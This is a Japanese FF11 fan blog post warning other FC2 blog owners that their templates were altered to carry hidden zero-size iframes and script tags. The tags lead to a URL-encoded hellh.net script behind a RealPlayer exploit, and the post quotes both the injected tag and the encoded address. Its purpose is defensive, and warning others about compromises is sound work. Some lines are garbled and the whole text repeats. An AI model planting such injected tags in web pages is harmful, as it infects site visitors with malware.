■□■□■□■□■ ＦＣ２ブログテンプレート改竄に関して □■□■□■□■□
テンプレート改竄の件に関しては以下のエントリーを参照下さい。
・ウイルス検出について【報告】
・ウイルス検出について【情報追記】
・ウイルス検出について【罠再び！】
また３／１４〜３／１５に第七猫の名を語り、踊り子ＡＦ関係の罠コメが
各ブログ様で見られているようです。以下のコメントは罠ですので見つけ次第
削除を宜しくお願い致します(´；ω；｀)ブワッ
>踊り子ＡＦクエのアイテムですが、新エリアの過去オズで詩人ヤグ４匹くらいで
>２個ドロップ（トレハン＋４あり・忍シ暗白白）しました。
>運がよかっただけかもですが参考までに書いておきます。
↑この内容で第七猫の名での書き込みです。
アドレスには絶対にアクセスなさらないようにお願い申し上げます。
■□■□■□■□■□■□■□■□■□■□■□■□■□■□■□■□■□■
こんにちわ、第七猫です！(´・ω・`)
不本意ながらまたこのエントリーでの記事が…まだ発覚してあまり時間が経っていませんが
新たな手口での罠が見られたので、皆さん至急ご一読と心当たりのある方は
ＰＣのウイルススキャン実施をお勧め致します。
■どこに罠が…
−−−−−−−−−−−− 概要 −−−−−−−−−−−−−−
��ペコろぐ 様（Javaスクリプト発見、要注意→現在修正し公開）
��ヴァナモンＢｌｏｇ 様（Javaスクリプト発見、要注意→現在修正し公開）
��FF11ある黒魔導士の軌跡 様（インラインフレーム発見、要注意→現在修正し公開）
��FF11初心者の館 様（Javaスクリプト発見、要注意）
��Lostfr【誰か】かまって【くれませんか？】 様
（Javaスクリプト発見、要注意→現在修正し公開）
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
�〆２鸞莠掲�も確認できたのはサルベージ関係で有名なＦＣ２ブログ様。
→ペコろぐさん（ttp://pekoe1001.blog100.fc2.com/）
現在（３／２２昼過ぎ）、非公開モードになっておりますがいつから罠が張られていたかは
現時点で不明です。特に週末ですので、見に行かれた方はウイルススキャンを掛けた方が
宜しいかと思われます。
カスペルスキーでの検出報告がありますので、こちらでスキャンされるのが良いかと。
↓
・カスペルスキーオンラインスキャン
〜３／２２ ２３：００頃追記〜
なんと…ここにも同様の罠が…(´・ω・`)
グーグル先生に問い合わせただけなのに…
�▲凜．淵皀鵤贈譯錚隋〕諭複遙�p://vanamon.blog53.fc2.com/）
ちょっ…おまっ…((( ；ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ
何その赤信号…たまたまグー先生から行こうとしたけど、直接飛べる人も多いんじゃ…
大変失礼ながら、ヴァナモンさんのｈｔｍｌソースをＤＬし早速チェックしてみた結果…
あったよ…なんだこれは…同じようなエンコードされたアドレスにJavaスクリプト…
Σ(ﾟДﾟ；≡；ﾟдﾟ)?
グー先生からだと、ちゃんと警告出ますが直接飛べる人は注意してください！
〜３／２３ ２：３０頃〜
こちらはインラインフレームの罠…もうね…いい加減に…(＃＾ω＾)
��FF11 ある黒魔導士の軌跡 様（ｔｔp://volnutblog65。fc2。com/）
以前からのインラインフレーム＋今回のＨｅｌｌｈへの誘導というコンボが炸裂…
大変失礼ながらソースを拝見、そしてチェック…
テンプレの一番ラストに、エンコードされたアドレスへのインラインフレーム発見…
これは…アウアウ！
しかもヤラシイ事に、Dr.WEBでチェックを掛けたんですが…
エンコードしてあるせいか、Hellhは検出する物の緑表示（クリーン）が…(´；ω；｀)
こうなってしまっては直接飛び先のソースをＤＬして、直接自分でチェックするしか…（泣
〜３／２３ １５：００頃〜
�い海舛蕕�追加です…
FF11 初心者の館 様（ｔｔp://ff11afian.blog113.fc2.com/）
毎度の事ながら、こちらも失礼してソースを拝見…
もうね…危険を察知したらウイルス感染以上のスピードで、情報を
開示していくしか今とのコトロ取る手段が無い！！ヽ(TДT)ﾉ
ちっくしょー！(´；ω；｀)ブワッ
��Lostfr【誰か】かまって【くれませんか？】 様
当ブログにコメント頂きましたロストさん管理のブログです。
３／２０に見慣れぬJavaスクリプトからエンコードされた状態へのアドレスに飛ぶ罠が…
既に修正済みでソースは確認できておりませんが、被害が広がる一方ですね（´・ω・`）
■どんな罠？
前回ご報告したインラインフレームタグ↓
＜iframe src=ｈｔｔp://＃＃＃＃＃ width=0 height=0＞＜ /iframe＞
こちらへの対策が取られ出しているので、テンプレ検索に掛からないように
＜script src="http://＃＃＃＃＃＞＜/script＞
というJavaスクリプトを利用したアドレスへの誘導が見られた模様です！
このJavaスクリプトから別のアドレスへ飛び、さらにその先で０×０のインラインフレーム等を
使い色々飛び回るようになっているみたいです。
最終的に
マルウェア 「Exploit.JS.RealPlr.db」
を検出する模様（ｂｙ：カスペルスキー）
名前から察すると前回同様、RealPlayerの脆弱性を突くウイルスに見られそうですが…
ちなみに罠の内容をもう少し書きますと…
＜script src="hｘｘp//%77%77%77%2E%68%65%6C%6C%68%2E%6E%65%74/%77%2E%6A%73"＞
＜/script＞
今回追加（？）された怪しいスクリプトは上記。
この「%77%77%77%2E%68%65%6C%6C%68%2E%6E%65%74/%77%2E%6A%73」って
訳の分からないアドレスが指定されていますが、これをデコードすると…（デコードはこちら）
→ www■hellh■net/w■js
また”ｈｅｌｌｈ■ｎｅｔ”か！！Σ(ﾟдﾟ)
これは戦士スキーさんのところに仕掛けられた２個目の罠と同じ物！！
もうね…(´・ω・`)
■ＦＣ２管理人の皆様へ
至急、ご自分のブログのテンプレを確認するようにお願いいたします。
� �iframe
�◆ �script
（いずれも”＜”は小文字で）
上記二つでの検索をお願いします！！�，倭芦鵑泙任汎瑛佑�インラインフレーム。
�△�Javaスクリプトを仕込んだ今回の罠です！
しかしJavaスクリプトは、アクセス解析やＴＢＰ等の別アプリにも使用しております。
身に覚えの無い物を選定する必要があります(・∀・)ｂ
ちなみに当ブログのソースを開き、”＜script src”で検索を掛けてみますと…
このように、アクセス解析の部分にJavaスクリプトを使用しております。
あとはプロフィールの部分と、ブログ内検索の小窓の部分でしょうか。
３箇所いずれも異常は無い事を確認しております。
このJavaはというと、このようにアクセスカウンター上にポインターを置くと…
このように、今日のアクセス状況ならびに数日前までのアクセス状況が見られるという機能。
Java機能を止めている状態ではポインターを置いても反応は無いです。
他には色々設定できるブログパーツでJavaスクリプトが使われている場合がありますが
それは各ブログ主様でご確認頂くしかないかなぁ…(´・ω・`)
どうしても身に覚えが無いアドレスだったり、怪しくデコードされた物だった場合は
中身をソースチェッカー等でご確認されるのが良いかと思われます。
ただソースチェッカーだと、スクリプトの指定先を完全にチェックできない恐れがあります。
特に今回の様にエンコードされた意味不明なアドレス等…
手動でデコードし、その先を直接チェックしなければ正確にわからないっぽいです。
■ＦＣ２からの回答
しつこくＦＣ２に状況説明や今後の対応策をメールしています（汗
何も反応が無いので「分からないなら、分からないなりに返信をクレ」と要望した所
３／１８に一報が入っております。ただ内容は
＞お問い合わせいただいた件ですが、現在調査中でございますので
＞もうしばらくお待ちいただきますでしょうか。
という物。うーん、まぁ仕方ないが、いつまでかかるのやら…
一応起きてる現象に対して、アクションが行われているようには読み取れますが…
まぁいつまでに…という事に関してはやはり言い出しにくいでしょうね(´・ω・`)
正直、ここまでブログテンプレ改竄が多く見られると管理者云々では無く
システム的なバグや抜け道があるような気がしちゃいますね…恐ろしい…
■取り合えず…
取り合えず現時点で分かっている事を端折って書きました。（３／２２ １５：３０現在）
解析人さん、コメントありがとうございました！丁度同じスレ見ててワロタ（笑
ただ出先だったもので、対応が遅れましたが一旦エントリーを上げておきます。
特にサルベージ関係というホットな注目のブログ様なのでフレや仲間がいた場合は、
情報を早めに伝えてあげるといいです(・∀・)ｂ
追記：解析人さんのブログ
→ ilion.blog47.fc2.com
詳細なウイルスの解析情報を頂けた、解析人さんのブログです。
今回の罠の専門的且つ詳細な検証等が見られます。が以下注意。
＞内容の正しさや永続性は保障できません
＞(頻繁に編集します)。また、あくまで(仮)なのでそのうち消えるかもしれません。
＞ついでに本来は「本当に簡単にハックされるの?」と試しに(デコイとして)
＞罠ウェルカムの精神で作ってみただけなので安全性の保障もできかねます。
との事です(・∀・)
テンプレート改竄の件に関しては以下のエントリーを参照下さい。
・ウイルス検出について【報告】
・ウイルス検出について【情報追記】
・ウイルス検出について【罠再び！】
また３／１４〜３／１５に第七猫の名を語り、踊り子ＡＦ関係の罠コメが
各ブログ様で見られているようです。以下のコメントは罠ですので見つけ次第
削除を宜しくお願い致します(´；ω；｀)ブワッ
>踊り子ＡＦクエのアイテムですが、新エリアの過去オズで詩人ヤグ４匹くらいで
>２個ドロップ（トレハン＋４あり・忍シ暗白白）しました。
>運がよかっただけかもですが参考までに書いておきます。
↑この内容で第七猫の名での書き込みです。
アドレスには絶対にアクセスなさらないようにお願い申し上げます。
■□■□■□■□■□■□■□■□■□■□■□■□■□■□■□■□■□■
こんにちわ、第七猫です！(´・ω・`)
不本意ながらまたこのエントリーでの記事が…まだ発覚してあまり時間が経っていませんが
新たな手口での罠が見られたので、皆さん至急ご一読と心当たりのある方は
ＰＣのウイルススキャン実施をお勧め致します。
■どこに罠が…
−−−−−−−−−−−− 概要 −−−−−−−−−−−−−−
��ペコろぐ 様（Javaスクリプト発見、要注意→現在修正し公開）
��ヴァナモンＢｌｏｇ 様（Javaスクリプト発見、要注意→現在修正し公開）
��FF11ある黒魔導士の軌跡 様（インラインフレーム発見、要注意→現在修正し公開）
��FF11初心者の館 様（Javaスクリプト発見、要注意）
��Lostfr【誰か】かまって【くれませんか？】 様
（Javaスクリプト発見、要注意→現在修正し公開）
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
�〆２鸞莠掲�も確認できたのはサルベージ関係で有名なＦＣ２ブログ様。
→ペコろぐさん（ttp://pekoe1001.blog100.fc2.com/）
現在（３／２２昼過ぎ）、非公開モードになっておりますがいつから罠が張られていたかは
現時点で不明です。特に週末ですので、見に行かれた方はウイルススキャンを掛けた方が
宜しいかと思われます。
カスペルスキーでの検出報告がありますので、こちらでスキャンされるのが良いかと。
↓
・カスペルスキーオンラインスキャン
〜３／２２ ２３：００頃追記〜
なんと…ここにも同様の罠が…(´・ω・`)
グーグル先生に問い合わせただけなのに…
�▲凜．淵皀鵤贈譯錚隋〕諭複遙�p://vanamon.blog53.fc2.com/）
ちょっ…おまっ…((( ；ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ
何その赤信号…たまたまグー先生から行こうとしたけど、直接飛べる人も多いんじゃ…
大変失礼ながら、ヴァナモンさんのｈｔｍｌソースをＤＬし早速チェックしてみた結果…
あったよ…なんだこれは…同じようなエンコードされたアドレスにJavaスクリプト…
Σ(ﾟДﾟ；≡；ﾟдﾟ)?
グー先生からだと、ちゃんと警告出ますが直接飛べる人は注意してください！
〜３／２３ ２：３０頃〜
こちらはインラインフレームの罠…もうね…いい加減に…(＃＾ω＾)
��FF11 ある黒魔導士の軌跡 様（ｔｔp://volnutblog65。fc2。com/）
以前からのインラインフレーム＋今回のＨｅｌｌｈへの誘導というコンボが炸裂…
大変失礼ながらソースを拝見、そしてチェック…
テンプレの一番ラストに、エンコードされたアドレスへのインラインフレーム発見…
これは…アウアウ！
しかもヤラシイ事に、Dr.WEBでチェックを掛けたんですが…
エンコードしてあるせいか、Hellhは検出する物の緑表示（クリーン）が…(´；ω；｀)
こうなってしまっては直接飛び先のソースをＤＬして、直接自分でチェックするしか…（泣
〜３／２３ １５：００頃〜
�い海舛蕕�追加です…
FF11 初心者の館 様（ｔｔp://ff11afian.blog113.fc2.com/）
毎度の事ながら、こちらも失礼してソースを拝見…
もうね…危険を察知したらウイルス感染以上のスピードで、情報を
開示していくしか今とのコトロ取る手段が無い！！ヽ(TДT)ﾉ
ちっくしょー！(´；ω；｀)ブワッ
��Lostfr【誰か】かまって【くれませんか？】 様
当ブログにコメント頂きましたロストさん管理のブログです。
３／２０に見慣れぬJavaスクリプトからエンコードされた状態へのアドレスに飛ぶ罠が…
既に修正済みでソースは確認できておりませんが、被害が広がる一方ですね（´・ω・`）
■どんな罠？
前回ご報告したインラインフレームタグ↓
＜iframe src=ｈｔｔp://＃＃＃＃＃ width=0 height=0＞＜ /iframe＞
こちらへの対策が取られ出しているので、テンプレ検索に掛からないように
＜script src="http://＃＃＃＃＃＞＜/script＞
というJavaスクリプトを利用したアドレスへの誘導が見られた模様です！
このJavaスクリプトから別のアドレスへ飛び、さらにその先で０×０のインラインフレーム等を
使い色々飛び回るようになっているみたいです。
最終的に
マルウェア 「Exploit.JS.RealPlr.db」
を検出する模様（ｂｙ：カスペルスキー）
名前から察すると前回同様、RealPlayerの脆弱性を突くウイルスに見られそうですが…
ちなみに罠の内容をもう少し書きますと…
＜script src="hｘｘp//%77%77%77%2E%68%65%6C%6C%68%2E%6E%65%74/%77%2E%6A%73"＞
＜/script＞
今回追加（？）された怪しいスクリプトは上記。
この「%77%77%77%2E%68%65%6C%6C%68%2E%6E%65%74/%77%2E%6A%73」って
訳の分からないアドレスが指定されていますが、これをデコードすると…（デコードはこちら）
→ www■hellh■net/w■js
また”ｈｅｌｌｈ■ｎｅｔ”か！！Σ(ﾟдﾟ)
これは戦士スキーさんのところに仕掛けられた２個目の罠と同じ物！！
もうね…(´・ω・`)
■ＦＣ２管理人の皆様へ
至急、ご自分のブログのテンプレを確認するようにお願いいたします。
� �iframe
�◆ �script
（いずれも”＜”は小文字で）
上記二つでの検索をお願いします！！�，倭芦鵑泙任汎瑛佑�インラインフレーム。
�△�Javaスクリプトを仕込んだ今回の罠です！
しかしJavaスクリプトは、アクセス解析やＴＢＰ等の別アプリにも使用しております。
身に覚えの無い物を選定する必要があります(・∀・)ｂ
ちなみに当ブログのソースを開き、”＜script src”で検索を掛けてみますと…
このように、アクセス解析の部分にJavaスクリプトを使用しております。
あとはプロフィールの部分と、ブログ内検索の小窓の部分でしょうか。
３箇所いずれも異常は無い事を確認しております。
このJavaはというと、このようにアクセスカウンター上にポインターを置くと…
このように、今日のアクセス状況ならびに数日前までのアクセス状況が見られるという機能。
Java機能を止めている状態ではポインターを置いても反応は無いです。
他には色々設定できるブログパーツでJavaスクリプトが使われている場合がありますが
それは各ブログ主様でご確認頂くしかないかなぁ…(´・ω・`)
どうしても身に覚えが無いアドレスだったり、怪しくデコードされた物だった場合は
中身をソースチェッカー等でご確認されるのが良いかと思われます。
ただソースチェッカーだと、スクリプトの指定先を完全にチェックできない恐れがあります。
特に今回の様にエンコードされた意味不明なアドレス等…
手動でデコードし、その先を直接チェックしなければ正確にわからないっぽいです。
■ＦＣ２からの回答
しつこくＦＣ２に状況説明や今後の対応策をメールしています（汗
何も反応が無いので「分からないなら、分からないなりに返信をクレ」と要望した所
３／１８に一報が入っております。ただ内容は
＞お問い合わせいただいた件ですが、現在調査中でございますので
＞もうしばらくお待ちいただきますでしょうか。
という物。うーん、まぁ仕方ないが、いつまでかかるのやら…
一応起きてる現象に対して、アクションが行われているようには読み取れますが…
まぁいつまでに…という事に関してはやはり言い出しにくいでしょうね(´・ω・`)
正直、ここまでブログテンプレ改竄が多く見られると管理者云々では無く
システム的なバグや抜け道があるような気がしちゃいますね…恐ろしい…
■取り合えず…
取り合えず現時点で分かっている事を端折って書きました。（３／２２ １５：３０現在）
解析人さん、コメントありがとうございました！丁度同じスレ見ててワロタ（笑
ただ出先だったもので、対応が遅れましたが一旦エントリーを上げておきます。
特にサルベージ関係というホットな注目のブログ様なのでフレや仲間がいた場合は、
情報を早めに伝えてあげるといいです(・∀・)ｂ
追記：解析人さんのブログ
→ ilion.blog47.fc2.com
詳細なウイルスの解析情報を頂けた、解析人さんのブログです。
今回の罠の専門的且つ詳細な検証等が見られます。が以下注意。
＞内容の正しさや永続性は保障できません
＞(頻繁に編集します)。また、あくまで(仮)なのでそのうち消えるかもしれません。
＞ついでに本来は「本当に簡単にハックされるの?」と試しに(デコイとして)
＞罠ウェルカムの精神で作ってみただけなので安全性の保障もできかねます。
との事です(・∀・)
